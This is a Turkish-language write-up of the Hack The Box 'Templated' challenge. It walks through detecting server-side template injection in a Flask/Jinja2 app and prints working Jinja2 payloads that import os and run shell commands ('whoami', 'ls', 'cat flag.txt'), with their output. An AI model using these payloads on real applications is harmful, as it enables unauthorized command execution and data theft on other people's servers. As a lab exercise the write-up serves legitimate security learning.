Hack The Box Templated Challenge Writeup — shaggy
Açıklama: Selam arkadaşlar, Hack the Box platformunda bulunan** ‘Templated’ **isimli challenge çözümünü sizinle paylaşıyor olacağım. Burada SSTI (Server Side Template Injection) zafiyetinin ve research yapmanın önemini vurguluyor. Çözmesi oldukça zevkli olan bu makineyi gelin çözmeye başlayalım. 🍾 🙌 🎉

HTB’nin vermiş olduğu host ve port adresine gittiğimizde bizi 404 sayfası karşılıyor fakat gözümüze ‘Flask/Jinja2’ tarafından desteklendiği çarpıyor.
1┌──(root㉿kali)-[/home/kali/Desktop]└─# curl -i 68.183.38.252:30050HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 79Server: Werkzeug/1.0.1 Python/3.9.0Date: Sun, 19 Mar 2023 13:20:33 GMT<h1>Site still under construction</h1><p>Proudly powered by Flask/Jinja2</p>Bunun üzerine araştırma yaptıktan sonra Gus Ralph isimli abimizin yazmış olduğu bir yazıya denk geldim. Bu yazıda Jinja2 üzerinde bulunan SSTI zafiyetinden bahsediyordu.
Ardından ilk önce zafiyetin varlığından emin olmak adına adresimizin url kısmından **{{3*3}} **payloadını gönderdik ve aşağıda da görmüş olduğunuz gibi zafiyetin varlığını tespit ettik.
1┌──(root㉿kali)-[/home/kali/Desktop]└─# curl -i http://68.183.38.252:30050/%7B%7B3*3%7D%7DHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 69Server: Werkzeug/1.0.1 Python/3.9.0Date: Sun, 19 Mar 2023 13:33:20 GMT<h1>Error 404</h1><p>The page '<str>9</str>' could not be found</p>Bulmuş olduğumuz yazınının devamında okursanız ki zafiyeti nasıl exploit edebileceğimiz hakkında yazıp çizmiş Gus abimiz. İşimize yaracağını düşündüğüm şey ise orada uzaktan komut çalıştırabileceğimizi söylediği alan oldu. Bu nedenle ilk önce hedef sistemimizde bir kaç deneme yaptıktan sonra hiç bir seye kızmadığını ve rahatça exploit edebileceğimizi gördüm.
Öncelikle sistem üzerinde kim olduğumuzu bilmemiz lazım ki ona göre aksiyon alabilelim. Bunun için ilk sistem üzerinde whoami komutunu çalıştırıyoruz.
1{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}Şanslıyız ki direkt root olarak olarak erişimimiz varmış. :D Herhangi bir yetki yükseltmeye gerek kalmayacağını anlıyoruz.
1The page 'root ' could not be foundBu sefer bulunduğumuz dizinde olan dosyaları (vs.) listelemesi için ‘ls’ komututunu kullanıyoruz.
1{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}Ve gördüğümüz üzere bulunduğumuz dizindekiler şunlarmış. ==> ‘bin, boot, dev, etc, flag.txt, home, lib, lib64, media, mnt, opt, proc, root, run, sbin, srv, sys, tmp, usr, var’
1The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be foundSon olarak da flag.txt dosyasını cat komutu ile açıp bu challenge’ı bitiriyoruz.
1{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}Okuduğunuz için teşekkürler, iyi çalışmalar dilerim. :)